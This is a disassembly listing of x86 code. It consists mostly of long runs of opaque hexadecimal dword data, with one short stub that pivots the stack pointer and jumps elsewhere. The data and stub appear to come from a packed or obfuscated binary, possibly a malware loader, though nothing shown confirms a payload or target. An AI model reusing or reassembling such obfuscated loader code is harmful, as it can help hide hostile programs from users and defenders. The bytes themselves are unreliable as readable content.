		dd 8B000000h, 0E88157F1h, 31B70B4Ch, 0B966038Fh, 0EB832C7Dh
		dd 0F5BD8902h, 4B060708h, 89B4B94Bh, 0EA817623h, 1, 0D850Fh
		dd 0B70F0000h, 1BE9C1h,	2B030000h, 8905394Fh, 703E585h
		dd 0FF95E906h, 0C532FFFFh, 2708D48h, 48F4D072h,	14E8A2h
		dd 40BD0000h, 71C9FA01h, 0AF69F7D4h, 6BC61FB0h,	0ED825749h
		dd 2B214D7h, 0E081665Bh, 0C38119F4h, 72C4h, 29E1B501h
		dd 83680607h, 6000001Ch, 3870Fh, 0BF0F0000h, 34BF66D3h
		dd 805F612Eh, 0B8BC3EEh, 2BD08166h, 25E9817Fh, 0F6FA9D9h
		dd 0E981C3BFh, 46766FE7h, 0CE8h, 0DB44DD00h, 0B983AF72h
		dd 0A82AD6C2h, 0D78B66EFh, 56C1815Eh, 0E9098FD8h, 7, 39541512h
		dd 51B93B8Ch, 0C3BF0F51h, 8B038F58h, 3EB83C3h, 22018D01h
		dd 604B0607h, 33218589h, 958B0607h, 6070709h, 850F4F61h
		dd 0FFFFFF9Ah, 108F0Fh,	7E80000h, 0CA000000h, 9D85D8EEh
		dd 0BF0FF831h, 8D8D58C6h, 60D7713h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 71C35040h, 16A3DB83h, 4554D1D3h
		dd 6049E080h, 8D0960FCh, 6071DA5h, 0DE8h, 0EBAD7600h, 2B721FBCh
		dd 4D8E92DCh, 615F5F4Eh, 418D8961h, 8906071Bh, 70029B5h
		dd 585C706h, 94060706h,	8900006Fh, 7261D95h, 6985C706h
		dd 60700h, 6A000000h, 3E85000h,	20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0E9F6C350h,	0FD2A8D0Ah
		dd 8B4B8516h, 72CB99Dh,	0DDB5FF06h, 6A060712h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 0B15CC355h, 2850FFAh, 8B000000h, 0E195FFD6h,	6A060701h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 0EE5C355h, 0FF006AA8h, 7320195h, 0EBC08B06h
		dd 951B0368h, 1CC77FF4h, 94700F14h, 0DA899DCDh,	3ECB47Dh
		dd 586F69B7h, 0A92DA69Dh, 298C87FEh, 9F761A8Eh,	158139Dh
		dd 21EA1BA2h, 0FFB531B0h, 0C06BCFEFh, 8D6116B1h, 0D3B008Fh
		dd 0C4F1D7A0h, 0F47D629h, 0FF502C0Dh, 0D1D69BD0h, 0A053B661h
		dd 50CE17DDh, 0F8C0DCC1h, 3EB89D22h, 6F128CDAh,	770545CBh
		dd 8FC1F563h, 0E804EB94h, 0E9702408h, 82Ah, 7A82C629h
		dd 0B3DB8DE7h, 0C0287E5Eh, 1860340Dh, 54BCE8C5h, 0F9DAC985h
		dd 0AB8E43ABh, 66409DE5h, 0DD352830h, 14B06F77h, 0BC932Bh
		dd 0E943D303h, 0DCBFFBCh, 92F8DE05h, 0F1A2A04Ah, 0FEBFD85Bh
		dd 0D0290F34h, 2EABADF3h, 0D39385CBh, 3F07FBABh, 297F5839h
		dd 0A6360CC1h, 3FF05C19h, 0A8FCD55Ah, 76BEE6AEh, 6B311180h
		dd 3CD66AEDh, 23EF5ACEh, 67D41A6Fh, 30A32DFh, 93F7979Fh
		dd 3B614119h, 640A49D3h, 4191B5E2h, 57000000h, 4EF043E5h
		dd 0E050DCBh, 0BE9B6626h, 4CA7263Fh, 0AAACD41Ch, 9086D22Fh
		dd 81595307h, 2E8F0A4h,	0AFDA6745h, 17CCh, 41A20800h, 11AA2513h
		dd 4B050DCBh, 90ED7D77h, 365DBCC4h, 0E7000000h,	0B68141A2h
		dd 50DCB00h, 0CE487040h, 0DCBEB4Dh, 89603405h, 2125E5ABh
		dd 44D633CBh, 0E263368Eh, 31598132h, 0A303959Bh, 0C5E8308Ah
		dd 89778DDCh, 7B2B6348h, 267F9581h, 9FDE936Ch, 0F63E0F34h
		dd 0E1B79100h, 0AEF4D62Bh, 0CE3C96FEh, 50857F00h, 0CE53F3E1h
		dd 14BEB8EEh, 0CEFA5FEh, 9339CD3h, 47251323h, 87E17973h
		dd 791389D1h, 0DA338FEh, 98487805h, 7BFDAB85h, 0DA30E80h
		dd 0B6350F05h, 55C30B51h, 0BFB9EFC4h, 7136BE24h, 0F245AFCBh
		dd 0B555031Fh, 0F21A4CA8h, 21729578h, 829FB94Bh, 0A953F3A1h
		dd 0B38C44A2h, 50DCB0Bh, 0B9337B4Bh, 4E5DD57h, 0CCF87E28h
		dd 5F21761Ch, 5F88B2DAh, 6C000000h, 0D835B48Dh,	92DA8A8Ch
		dd 0BA20E0A4h, 4B217295h, 8BEE43E5h, 39613710h,	0CB2E9063h
		dd 466E050Dh, 0CB11A586h, 9A77050Dh, 403CECBAh,	43E5FA70h
		dd 53C58BEEh, 0A2897313h, 0CC5E1442h, 2DB19168h, 347431A1h
		dd 53F33BB0h, 255EA9h, 20FA0000h, 0DCB6FD7h, 0A072F05h
		dd 0B6FE782Eh, 72956C16h, 1AE54B21h, 50DCBA4h, 0E56F05ADh
		dd 1442A263h, 0A248CC5Eh, 0E5441E44h, 0C051C78Dh, 0DB9BFE1h
		dd 0F12305C5h, 4D44E40Bh, 7A2ABA49h, 97ED7F9h, 50A43E05h
		dd 0EAF258BEh, 944E1A77h, 0FAFA6A6h, 4818B13Bh,	421673EEh
		dd 9D1743D4h, 5CA4F0CDh, 0DEE191F6h, 4E18AFh, 0A2DC0000h
		dd 8E181E44h, 8AE8958h,	48050DCBh, 879A3078h, 902AFAAEh
		dd 34C29AA7h, 0DF0EFC0Fh, 0E85A221h, 9B76EABAh,	1376EBBDh
		dd 539BCB4Dh, 767E58E5h, 266C4EA3h, 0D5BB9B66h,	827D178Dh
		dd 30AA63Ch, 9D9E347Ch,	30AA619h, 0C3B96959h, 181E44A2h
		dd 63DB24FEh, 23050DCBh, 8BD97313h, 0DEC730EAh,	9E0F34EDh
		dd 0C5336543h, 0AE835981h, 5212044Ah, 40B6E2FFh, 0B60C4404h
		dd 4B217295h, 44A2BFB9h, 8FE5441Eh, 0CB56E84Bh,	2E16050Dh
		dd 0E5BC26E6h, 0F26EFF17h, 5AB736DDh, 0CE06C60Eh, 5F7ED574h
		dd 4025B2DAh, 3000000h,	9086CC2Eh, 954E34D4h, 0CD9BF472h
		dd 1AE5EF85h, 50DCBA4h,	632909E4h, 0B73777F5h, 0DEB761FAh
		dd 0E5946E96h, 2F04E563h, 7854A979h, 0ED86742Eh, 0E8A684F1h
		dd 0CC671DCDh, 385E48h,	95DA0000h, 1E19B372h, 50DCB98h
		dd 0D36BE8D8h, 93050DCBh, 0E5817BA3h, 0DCBA41Ah, 0F0D0AD05h
		dd 0B4FCA8AEh, 0EE43E53Eh, 5802C288h, 0B58642A2h, 50DCB01h
		dd 0B3497141h, 44A248CCh, 8DA7181Eh, 48050948h,	5D3C3A6Ch
		dd 0EF191F45h, 0AD9C218Bh, 0CB2BC329h, 1772CF85h, 0A6EEB894h
		dd 1673EEE6h, 6845D442h, 39593A3Ch, 0AAFEDBB3h,	0EC9BF842h
		dd 6062AFDEh, 0C6000000h, 42D1A878h, 8D393F65h,	7A7AC583h
		dd 44A230AAh, 0CB0BB38Ch, 0CD2A050Dh, 19D59187h, 3E807329h
		dd 7E050DCBh, 0F5540E36h, 2611CB99h, 50DCB90h, 0C620E0D0h
		dd 673D666Ch, 34963794h, 1C1FB10Fh, 30AF99Ah, 0F9BB03FCh
		dd 0CBFB030Ah, 0A35F0F37h, 460F993h, 9B4B252h, 7F57278Dh
		dd 0A26BC129h, 0F6441E44h, 1A00E189h, 9F9949A3h, 0CC86DF35h
		dd 34E62A73h, 0B2DAEA0Fh, 0BA200118h, 0E3E17F3Ch, 74145C5Ah
		dd 2172958Eh, 0A2BFB94Bh, 0E5641E44h, 0CB4EF043h, 260E050Dh
		dd 0D5946E66h, 0B2DA5F7Eh, 92CC9A60h, 139F8AB1h, 0CB35362Eh
		dd 7D2D0746h, 42E2h, 72956600h,	1AE54B21h, 50DCBA4h, 77CF28C2h
		dd 37050DCBh, 93A35F0Fh, 990160F9h, 79AB113h, 12044C87h
		dd 0E5C8B252h, 0FE782E04h, 0A87048B6h, 0AED4C509h, 0A2A224FEh
		dd 0CC5E1442h, 315E48h,	95DA0000h, 0C89EF472h, 24DE064Eh
		dd 0CBA41AE5h, 5AD050Dh, 0FD43E56Fh, 45B94FC4h,	0A45E0EA7h
		dd 0E0C142A2h, 0CB69CD2Eh, 1929050Dh, 0E72F67D1h, 0E548CC0Dh
		dd 0FD7B2D04h, 0ED5A140Fh, 64ACDB93h, 137959A4h, 5186AA25h
		dd 6B6F0509h, 7553AE81h, 4FA43523h, 637CD119h, 0AA889535h
		dd 53318576h, 94710509h, 78A0E8BEh, 25734FA2h, 92F06D65h
		dd 0EAF84ACCh, 0E32013C9h, 350F3066h, 6D13C4C7h, 9636172Dh
		dd 65330FEAh, 91D98FE8h, 0FF1875FBh, 2CB313EDh,	959E147Ch
		dd 0B94B2172h, 27A0829Fh, 0E3559DCBh, 0A279E3A3h, 0E5641E44h
		dd 0FD7B2D04h, 7BF119C9h, 0DA5F7ED5h, 0A88960B2h, 0CB318576h
		dd 4171F80Dh, 58F64919h, 72000000h, 4B217295h, 0CBA41AE5h
		dd 7CC2050Dh, 0C1224048h, 2BC8AD93h, 0EA07FBABh, 0EE5CDA88h
		dd 1AB366EAh, 0B9E12939h, 0A263E5C3h, 0E55E1442h, 0F87E2804h
		dd 0F56F1CCCh, 792F04E5h, 5D49B7FFh, 17A5305Fh,	57EFEEBEh
		dd 35000000h, 637FFCD4h, 5B83C335h, 46B0E6C6h, 0E5A45E0Eh
		dd 13EC2804h, 50DCBABh,	0F393DBEBh, 0E4930659h,	3852BD29h
		dd 0E52FC50Dh, 7250A943h, 0F97A2A2Ch, 50DCB45h,	0EA4CAF05h
		dd 0AA050DCBh, 0B1B2529Ah, 50DCB0Dh, 0E5D4AE04h, 1442A263h
		dd 9168CC5Eh, 3F77E1B7h, 43E5F56Fh, 0DCB4EF0h, 66260E05h
		dd 63D5BB9Bh, 948C4E8h,	43A92D05h, 0FD054BABh, 0DA5C0260h
		dd 83591A48h, 301F7FB0h, 4F979F0Fh, 217295F5h, 0F043E54Bh
		dd 50DCB4Eh, 8066260Eh,	8C44A276h, 0DCB0BB3h, 337B4B05h
		dd 0D5DD57B9h, 0B2DA5F7Eh, 4025h, 72952300h, 0CBFE40B3h
		dd 0E4BE050Dh, 0DCBA31Bh, 0ABD3E305h, 43E58963h, 55C389EEh
		dd 74BCEAC4h, 0CBEF57D4h, 0F789050Dh, 0DCBB204h, 2C2F205h
		dd 0E59C565Eh, 1442A263h, 5E48CC5Eh, 34h, 217295DAh, 0A41AE54Bh
		dd 0AD050DCBh, 0CB12A497h, 6252050Dh, 0FF9A603Ah, 95F2F217h
		dd 0DF81E07Dh, 63E5550Fh, 4EF043E5h, 0E050DCBh,	0BD9B6626h
		dd 48CC11EBh, 181E44A2h, 411B588Eh, 34C07DF6h, 6F250D0Fh
		dd 0C2D46AD5h, 0AC94030Ah, 184E94FCh, 71E7AD8Eh, 0E4570D35h
		dd 9395BD0h, 2FAAAC94h,	31CB81D7h, 7B570C6h, 2B715105h
		dd 0BD85792Dh, 0A68E5EDh, 1BC37282h, 478FC6D0h
		dd 70DA5ED1h, 49D3FFD8h, 1ECE90F0h, 3A18F2FAh, 0F1D10C54h
		dd 0D72CADABh, 2B2D7B54h, 0A7C5337Bh, 78C65953h, 36108B8Eh
		dd 0A883FE60h, 0EF6DD122h, 52D732Eh, 3E6040DDh,	41DC8C38h
		dd 0C68CEE61h, 0BB9B769Eh, 0A0A63D5h, 0B6000000h, 6442DF79h
		dd 0DC8C383Eh, 1D4BA226h, 0F258BE1Bh, 0EBB99504h, 0C395EC6Dh
		dd 0BDEBC455h, 97FDDEBBh, 8DD330A1h, 782E0E8Bh,	5F0163FEh
		dd 895232D9h, 4C281E2h,	83000000h, 143304EAh, 24143124h
		dd 5C241433h, 219A68h, 243C8900h, 81E18951h, 4C1h, 4E98100h
		dd 87000000h, 895C240Ch, 52532404h, 466EC9BAh, 0C05ABB20h
		dd 0D30111A9h, 0A6AEBF5Ah, 0DF2937FDh, 48B545Bh, 4C48124h
		dd 83000000h, 148904ECh, 8BA24h, 0C2010000h, 8B5A3A89h
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_54311E
; ---------------------------------------------------------------------------
		dd 969294DFh, 19B8A112h, 3060D7Fh, 0B9E0FFC5h, 0DD6B26ECh
		dd 365C4419h, 900C2586h, 0E1252B8Bh, 1125BD08h,	72FD52Dh
		dd 3B1F51CBh, 0AA56E7D5h, 0EA2541A0h, 0BA54D11Dh, 8D10F80Dh
		dd 0D80A08Dh, 0EECE8106h, 890F6C21h, 71B418Dh, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 9BCA810Eh, 292B95A0h, 72C0D9Dh, 5E906h, 15850000h, 0C7A520EDh
		dd 7060585h, 6EA806h, 0EE816600h, 85C765B5h, 6070069h
		dd 0
		dd 8E8h, 87C41700h, 4BFF71A2h, 618D29E4h, 5E060733h, 2215B5FFh
		dd 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 62AE2DC3h, 0BBB7FC2Ah, 3A79454h, 1E195FFh
		dd 85890607h, 6070F99h,	699BD01h, 6A0607h, 320195FFh, 0C08B0607h
		dd 0BF7F0CEBh, 0B0EA28D1h, 2382A580h, 13E8A2B9h, 0D1000000h
		dd 6B3A1929h, 64F7E94Dh, 749DC6F9h, 743A88D4h, 0BD895D5Bh
		dd 60715D1h, 0C9BD895Fh, 8106071Ah, 7475C7h, 81665300h
		dd 5E7E7ADBh, 68h, 499D2B00h, 58060731h, 7148BF9h, 1975B509h
		dd 0C2810607h, 76DE36D3h, 1B1DB503h, 0F2810607h, 26D5AD7Fh
		dd 1E0D9D89h, 0F2810607h, 0EB8FAACh, 89523EB1h,	7020DBDh
		dd 7048F06h, 3EB1E88Ah,	2049E881h, 0B529274Ch, 6072BB5h
		dd 2045C081h, 0F881274Ch, 0FFFF8C38h, 0C850Fh, 1DE90000h
		dd 0A1000000h, 0E0B491BAh, 0EB802E9Ch, 0FF97E931h, 0E228FFFFh
		dd 0D73CA4E3h, 810D02ADh, 5461BF4Fh, 82538D8Dh,	6A060Dh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0FD7BE8C3h, 95255FFDh, 1B3DBD89h, 0D8810607h, 2ADFBF04h
		dd 1B418D89h, 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 4CB1F6C3h, 0EBCD2288h, 85C74B9Ch
		dd 6070605h, 63C4h, 10E8h, 0FB118D00h, 87F3511Ah, 8CC48EEBh
		dd 0C304D654h, 8D850995h, 5E06071Ah, 6985C7h, 607h, 8B660000h
		dd 19B5FFF9h, 6A06071Eh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 3859C353h, 0EE968648h
		dd 11E92Ch, 0C4AB0000h,	0D2DC6B4Bh, 9705A595h, 0B9CC1ED7h
		dd 8BAEA485h, 0E195FFFAh, 51060701h, 68D0Fh, 0B5230000h
		dd 6070FB1h, 0FF006A5Bh, 7320195h, 0EBC08B06h, 0C6328109h
		dd 318942C0h, 8D8DE10Ch, 60D8334h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 1CC35646h, 119E8439h, 0EEE8BB26h
		dd 18E59D8Bh, 8D890607h, 6071B41h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 58C35747h, 28E9F40Fh, 0D915A9D2h
		dd 0D18589A1h, 0C7060705h, 7060585h, 58E006h, 0C1BD8B00h
		dd 0C7060715h, 7006985h, 6, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 546DB872h
		dd 64D042B1h, 0BFE9B3F0h, 794EC573h, 2215B5FFh,	95B40607h
		dd 1E195FFh, 0B5890607h, 6071D39h, 0C8E0Fh, 830F0000h
		dd 6, 297DBD29h, 6A0607h, 320195FFh, 0C08B0607h, 3A6B0CEBh
		dd 197E4175h, 5004EDB1h, 7E8EA67h, 52000000h, 0A7DDB05Dh
		dd 5EF837F9h, 1DD88153h, 5B1C4CA4h, 6085C681h, 33F50000h
		dd 68C0FC9h, 89000000h,	721E58Dh, 0E3C8B06h, 20DD958Bh
		dd 0EF810607h, 1D194659h, 0CABDE881h, 0F781716Dh, 760B8226h
		dd 0CE8h, 5B7B5E00h, 99A0EF4Ah,	5BC25CEDh, 2850FD3h, 60000000h
		dd 0F7815B61h, 777F18F3h, 0BF0F6052h, 12E9FFh, 0B1680000h
		dd 0EF50BC0Eh, 0CA262E56h, 0A72E599Ah, 8CA7C70h, 0B6575A61h
		dd 0E048FD3h, 8FEBB66h,	12558D89h, 0E9810607h, 2330FCBBh
		dd 81D98B66h, 30FCB7C1h, 0B4BA6623h, 50F981FAh,	0FFFFFA0h
		dd 1185h, 0DEBF0F00h, 23E9h, 499ADA00h,	0CFB63500h, 0B529B748h
		dd 60708A9h, 0FFFF5CE9h, 0EC1B4CFFh, 1747AEF8h,	2CE024D8h
		dd 0F4B37755h, 84FD8D8Dh, 6A060Dh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 867633C3h, 93A34624h
		dd 8B9E5414h, 0FABF0FC2h, 1B418D89h, 6A0607h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 546DB8C3h
		dd 64D042B1h, 0BCB5BE60h, 61F83C02h, 7E9h, 9D13F000h, 479CC7FFh
		dd 60585C7h, 61140607h,	0EE90000h, 2B000000h, 76E00EADh
		dd 99283625h, 19E5F9E5h, 6985C74Eh, 60700h, 8B000000h
		dd 71FD995h, 11B5FF06h,	3106072Ch, 715C1BDh, 0E195FF06h
		dd 6A060701h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 0C04C350h, 90DAEA4Ah, 0A7B7EEC5h
		dd 6AC78B66h, 195FF00h,	8B060732h, 2E09EBC0h, 0D54EA313h
		dd 2DD88652h, 0ABE9h, 2E8D5000h, 72B11C3Fh, 0ACABDA5Fh
		dd 92B395A7h, 95A1F445h, 0ABDA00B3h, 5D20A7ECh,	0F46BB291h
		dd 752096B1h, 0B79B5520h, 0A5BCF26Bh, 94A19692h, 99603A75h
		dd 0BD329FB7h, 0B2E9B599h, 0F292A59Ch, 7695ACA3h, 97B1EFh
		dd 0A5B4F94Eh, 6B5C009Fh, 924AF07Bh, 52D0008Ah,	53F545F3h
		dd 0D979A3F6h, 0AFF144D6h, 41F445E3h, 0B000D77Dh, 6BBF9792h
		dd 0CF60FD75h, 0BCF996BFh, 7D20B293h, 0F79B5720h, 0BD9492ABh
		dd 0BCE3B29Eh, 9BE0CE9Dh, 9D728F89h, 0EEA9FD8Fh, 0B6F66DB4h
		dd 7293BCE1h, 97B3EDh, 0E7A601E8h, 83323D94h, 35C3A1DEh
		dd 1438E9h, 87CE6800h, 0AFE9060Dh, 68FFF9F7h, 60D890Bh
		dd 0F9F7A5E9h, 8A2368FFh, 9BE9060Dh, 68FFF9F7h,	60D8B66h
		dd 0F9F791E9h, 8BED68FFh, 87E9060Dh, 68FFF9F7h,	60D8C9Dh
		dd 0F9F77DE9h, 8D5768FFh, 73E9060Dh, 68FFF9F7h,	60D8E27h
		dd 0F9F769E9h, 8EE868FFh, 5FE9060Dh, 68FFF9F7h,	60D904Bh
		dd 0F9F755E9h, 916268FFh, 4BE9060Dh, 68FFF9F7h,	60D92DBh
		dd 0F9F741E9h, 941368FFh, 37E9060Dh, 68FFF9F7h,	60D9627h
		dd 0F9F72DE9h, 972868FFh, 23E9060Dh, 0F4FFF9F7h, 0B2AFB791h
		dd 65F80056h, 0D8355D0Bh, 904D95FBh, 7899E1B7h,	0DC88E5FEh
		dd 167A59B4h, 613713CEh, 0B8EEC419h, 0DA25FF50h, 3004D64h
		dd 0BE6BC24h, 0B6FE7828h, 44A26C16h, 0CB0BB38Ch, 4139050Dh
		dd 949F342Bh, 0BCE4CCA0h, 792F0BE6h, 221DB7FFh,	50D739Ch
		dd 3234D4DCh, 782C09E0h, 7D5BB6FEh, 80E67B2Bh, 7A68B2DAh
		dd 0A98E6339h, 1AF775E3h, 9FC1EF60h, 0ECB6569Eh, 349BAE13h
		dd 50C6EE0Fh, 0AF963DFh, 34624203h, 2E7A57C2h, 757F5328h
		dd 90D88CE5h, 25FCF0D4h, 0BD0FF4D7h, 9832E801h,	0AA5279Fh
		dd 8F5F6703h, 0E1D57EC5h, 3105B5h, 95C30000h, 936C267Fh
		dd 0F34C1DAh, 930C0A3Ah, 30AC12Fh, 677CDD67h, 7F759131h
		dd 0E175BB98h, 0C92A07B5h, 574CB9Bh, 0D0000001h, 0CE481C79h
		dd 0A21CC686h, 0B9181E44h, 930E085Ch, 0A96BEDB3h, 0CB922417h
		dd 56B3050Dh, 9C501402h, 3B3D6341h, 0BE83438Bh,	2F976058h
		dd 6F050DCBh, 72E4B292h, 0BAC20A32h, 0DC708B9h,	93F9D905h
		dd 1C78D14Bh, 0ABFDD74Ah, 0D429F9ADh, 4AEA8FEh,	0F46440CEh
		dd 11F70E32h, 0EE165E71h, 0A92ACB34h, 5DBC0F34h, 934F1F45h
		dd 53B15BA3h, 5BB64802h, 0DA3B167Ah, 0F355D676h, 5709350Ah
		dd 3E13B56Fh, 1F45A6D9h, 652561D7h, 81E9BF98h, 2C25734Ch
		dd 9118D8Ah, 7BBBD248h,	6C000011h, 2A274F19h, 9D7098CEh
		dd 508DD583h, 8C52D73h,	0C011792Fh, 54001D86h, 0AEF2D10Ch
		dd 0F9AF8B46h, 30667C91h, 62DD7728h, 3004CDCh, 0A2BE349Ch
		dd 0BBE1C641h, 90F66B73h, 0CB67DF58h, 0D927050Dh, 0B85C410h
		dd 72FC24F2h, 1A13315Ah, 2BE129D4h, 0F45AB891h,	0D18BF07h
		dd 17B7FF05h, 0B08325FFh, 50D180Eh, 3CA6664Eh, 7A2C04E5h
		dd 316260AAh, 0A68C19Bh, 0C486DA44h
		dd 12C34D0Fh, 89BCF172h, 0A07A0F34h, 0A89EF57h,	0C787AF03h
		dd 0B22D2B1Bh, 30A8908h, 9086CA29h, 86702401h, 971C90E8h
		dd 12F5FFD3h, 0B5E1AD35h, 0D4FCh, 0B5865800h, 30AFD01h
		dd 0FD229467h, 5262030Ah, 0CF6969Eh, 441E44A2h,	0CDC88E5h
		dd 0D352AF2Ah, 0FEB6A0F0h, 0A89640B6h, 0A54C8FE9h, 0DEEBE7Ah
		dd 50DDEA4h, 30F11D75h,	0E583F54Ah, 0A67C84CCh,	8C200958h
		dd 0DC8C37B3h, 613B6141h, 28F8AE88h, 356E64CEh,	23439C9Fh
		dd 16F30F34h, 0DB236B31h, 7957D331h, 357D292Fh,	0F0A6829Fh
		dd 19F08A50h, 0A3E3553Bh, 8FDB00E3h, 2B1B0935h,	0E9BF9871h
		dd 25734C81h, 1214942Ch, 0B1CC4209h, 103Eh, 0FA0246A9h
		dd 335B0D67h, 40A8FEDEh, 98E0B48Dh, 0D43C6845h,	795A4905h
		dd 2B0EC32Bh, 0E6C01D65h, 5DB5A8B0h, 9430EFF7h,	4213ABh
		dd 69C35303h, 0CB1341A2h, 0EDAC3016h, 59D4B033h, 9069236Bh
		dd 0D43CECB2h, 1E44A25Eh, 7A9DF644h, 0A8EA9754h, 45A47EF8h
		dd 916C3C68h, 0E6DA3EB1h, 0D02A115h, 0A9D1E105h, 0E8C41961h
		dd 2905E4BEh, 19C9FD7Bh, 0FEA4821Fh, 0A06BB096h, 3F396F49h
		dd 2A41AE5h, 0DCE4050Dh, 0F458B994h, 0CBE8FE54h, 3AFC7F11h
		dd 7A050D02h, 1FA7904Ah, 5F050D02h, 12EDB757h, 0F342655h
		dd 64CAE83h, 0F0AA9A46h, 0D2AE3C19h, 7AB0ABE1h,	4287478Fh
		dd 0B427328Fh, 0A02E2478h, 30EA1244h, 0B911F6C7h, 0F87E46FEh
		dd 0A17B382Eh, 30266848h, 0D7BD9974h, 65CB6D37h, 8800046Dh
		dd 4E7A726h, 0F8B9A7B4h, 8F623808h, 8CDA34B7h, 0D254DA8Ah
		dd 4B2D57E5h, 3892FA22h, 22695F32h, 0B1ACB1B7h,	5A0A0C50h
		dd 95FB78Ah, 9F677210h,	23BAB017h, 0F26h, 92FAAE81h, 2B33657Fh
		dd 7880D636h, 0B0D88CE5h, 0CC14405Dh, 51B2312Dh, 366FB03h
		dd 0FED8355Dh, 0B58D40A8h, 6C0887EFh, 412B93h, 1FB6B03h
		dd 7E2804E5h, 8E42CCF8h, 91FB772Ch, 0AD859848h,	7251D232h
		dd 3470E62Eh, 0AAB80A0Ch, 7B26989Bh, 0CC66050Dh, 0D7BCB73h
		dd 73BB8B05h, 39A6914Bh, 490F3429h, 9DCB1179h, 0D52F02D8h
		dd 3E39C383h, 9336A3Dh,	0C843B5FDh, 50D6972h, 4BCE263Ah
		dd 0AFDB0D0Ch, 0C7DD3CD6h, 5D1CA291h, 263D050Dh, 16B6FE72h
		dd 3509h, 3512EF00h, 95C5BF6Fh,	936C267Fh, 0F34BD7Bh, 0D831EBDBh
		dd 9340A8FEh, 30A8629h,	37A6360Ch, 0A75ADA9Ch, 67290805h
		dd 658DB5F1h, 5ED88EE8h, 0E593Fh, 7F954500h, 0AF593E0h
		dd 5F8786BCh, 4F53BA85h, 0C7EF0F3Eh, 86D02C0Dh,	44CB73CCh
		dd 0BB8B0300h, 9AF851EBh, 0D85E0261h, 0C11C64ACh, 0EBBDBBE1h
		dd 11E2B8FDh, 933CB99h,	0C7031CF9h, 0DC1C274h, 8AB28205h
		dd 51B18842h, 86EE30Bh,	68EEBA97h, 91C7213Ch, 0B1A7EFA7h
		dd 0EEA4F117h, 34E3F00Dh, 11E2400Fh, 30AE0ADh, 849DC5EDh
		dd 3191110h, 0E355282Eh, 0C400000Dh, 825FA7E1h,	75E8F0A6h
		dd 28254D1Bh, 0E07D85CBh, 6889D187h, 0CC98F5EEh, 64AA9A4h
		dd 510763FEh, 0A8FED409h, 0CA35CF40h, 3004074h,	0BCD6AC34h
		dd 50DCBFEh, 0FBA18198h, 0B2E3E12Bh, 448B1F18h,	0CBFB0F3Eh
		dd 0A1DA3811h, 32E81044h, 0F696C2DFh, 9162049Eh, 3004E2Dh
		dd 0B885456Dh, 0A002F45Ah, 2B7037A2h, 47450C39h, 5DA3451Fh
		dd 21E81A35h, 919232D1h, 9390104h, 0C9D54C74h, 4B091591h
		dd 0D5CB8D5h, 784F0000h, 2F05D820h, 0E0FC1179h,	52B3AEB6h
		dd 0E6BE60Eh, 67E3325Ah, 2D35637Ch, 678FD130h, 0B2DA88EAh
		dd 0C911475Fh, 0FD41B256h, 0BD030040h, 44A25FD5h, 116FEECBh
		dd 61D71F47h, 16CC92F0h, 516BC828h, 79139950h, 0DF638FEh
		dd 98487805h, 278DD59Eh, 0DAA46320h, 6FC2AAFh, 952E0000h
		dd 7369E07Fh, 0D6D06D1Ch, 0F37197Bh, 8975EA55h,	3E130F3Eh
		dd 2FD373D9h, 96EC4D07h, 835DE152h, 151D0300h, 320F85EDh
		dd 0F7CB46D6h, 4B8818BEh, 98FE4303h, 77CB44B2h,	61030085h
		dd 9F983263h, 939D70Eh,	0CDDF367Eh, 6B0915BFh, 0CAC98F5h
		dd 283F0000h, 9FF56870h, 50ACA1C9h, 263FE06h, 0FEDB365Eh
		dd 0B7B342AAh, 7D85D32Ch, 0B7DF81E0h, 0C22A785Ah, 1961370Fh
		dd 0AD11E286h, 0ED030047h, 44A28F65h, 63FE181Eh, 0A1E55305h
		dd 450553ACh, 42B49AF8h, 14FBF101h, 0AFDA672Fh,	659F6h
		dd 0FEBC7200h, 0E8050DCBh, 10E3B9FAh, 0F3E444Fh, 8915728Fh
		dd 0DCE2A60Bh, 74F77D0h, 0C096EC4Dh, 5DDE700Ah,	300BDD9h
		dd 14AAA999h, 540300BDh, 0FE54BC6Ch, 0BA500063h, 0BD05B9h
		dd 0AD7D4503h, 2A2C7250h, 73294A98h, 2DAAA48Dh,	0A56CD2h
		dd 1A042C03h, 15B5088Ah, 9663EC4Fh, 23130939h, 15FEC42Ah
		dd 9DF07609h, 0BF2h, 0AEB692F5h, 0E70F51B3h, 345C0A6Ah
		dd 4C94F8D9h, 98E0B491h, 85E6FD79h, 7F5AB7DFh, 320CC129h
		dd 0E1C11C64h, 58FC53BBh, 4667DFh, 0C5BF2703h, 181E44A2h
		dd 63DB24FEh, 42050DCBh, 8C383E64h, 3D00C0F0h, 18F97F25h
		dd 77E2543Ah, 0DB63DC1Ah, 9B050DCBh, 33F563ABh,	0A3E8CD27h
		dd 9DFA5D57h, 64AFDA67h, 586h, 430969C0h, 0E8B8EECEh, 0A017E572h
		dd 28416984h, 71273F12h, 486D7BD1h, 97A192h, 13230F3Eh
		dd 8259A779h, 209C0BFEh, 0B660D621h, 10200300h,	0CD2538E8h
